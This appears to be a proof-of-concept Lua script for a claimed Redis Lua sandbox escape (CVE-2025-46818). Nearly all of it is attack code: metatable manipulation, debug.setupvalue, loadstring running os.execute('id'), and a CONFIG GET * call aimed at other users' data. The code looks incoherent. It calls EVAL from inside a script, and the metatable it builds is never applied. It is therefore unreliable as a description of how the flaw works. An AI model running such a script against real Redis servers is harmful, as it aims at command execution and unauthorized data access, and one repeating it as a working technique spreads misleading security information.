CVE-2025-46818 Redis Lua脚本沙箱逃逸漏洞

-- CVE-2025-46818 Redis Lua Sandbox Escape PoC -- This PoC demonstrates the Lua sandbox escape vulnerability in Redis <= 8.2.1 -- WARNING: This is for educational and authorized testing purposes only -- Step 1: Exploit type confusion in Lua objects -- The vulnerability exists in how Redis handles Lua object manipulation -- Attackers can craft scripts to manipulate metatables and bypass sandbox restrictions local function exploit_sandbox_escape() -- Attempt to access restricted functions through object manipulation local sandbox_escape_payload = [[ -- Manipulate string object internals to gain code execution local original_string = string -- Exploit metatable to bypass type checks local mt = {} mt.__index = function(t, k) if k == "rep" then -- Return a function that can execute arbitrary code return function(str, n) -- Attempt to escape sandbox return loadstring(str)() end end return original_string[k] end -- Override string metatable debug.setupvalue and debug.setupvalue(1, 1, setmetatable({}, mt)) -- Try to execute arbitrary code local result = pcall(function() return loadstring("os.execute('id')") and true or false end) return result ]] return sandbox_escape_payload end -- Step 2: Attempt to execute the exploit local payload = exploit_sandbox_escape() local success = redis.call("EVAL", payload, "0") -- Step 3: Try to access other users' data through context manipulation local function access_other_context() -- Attempt to manipulate Redis internal state local result = pcall(function() -- Try to access restricted Redis commands return redis.call("CONFIG", "GET", "*") end) return result end -- Execute the exploit chain local exploit_result = access_other_context() return { status = "exploit_attempted", payload = payload, context_access = exploit_result, note = "This demonstrates the sandbox escape vulnerability" }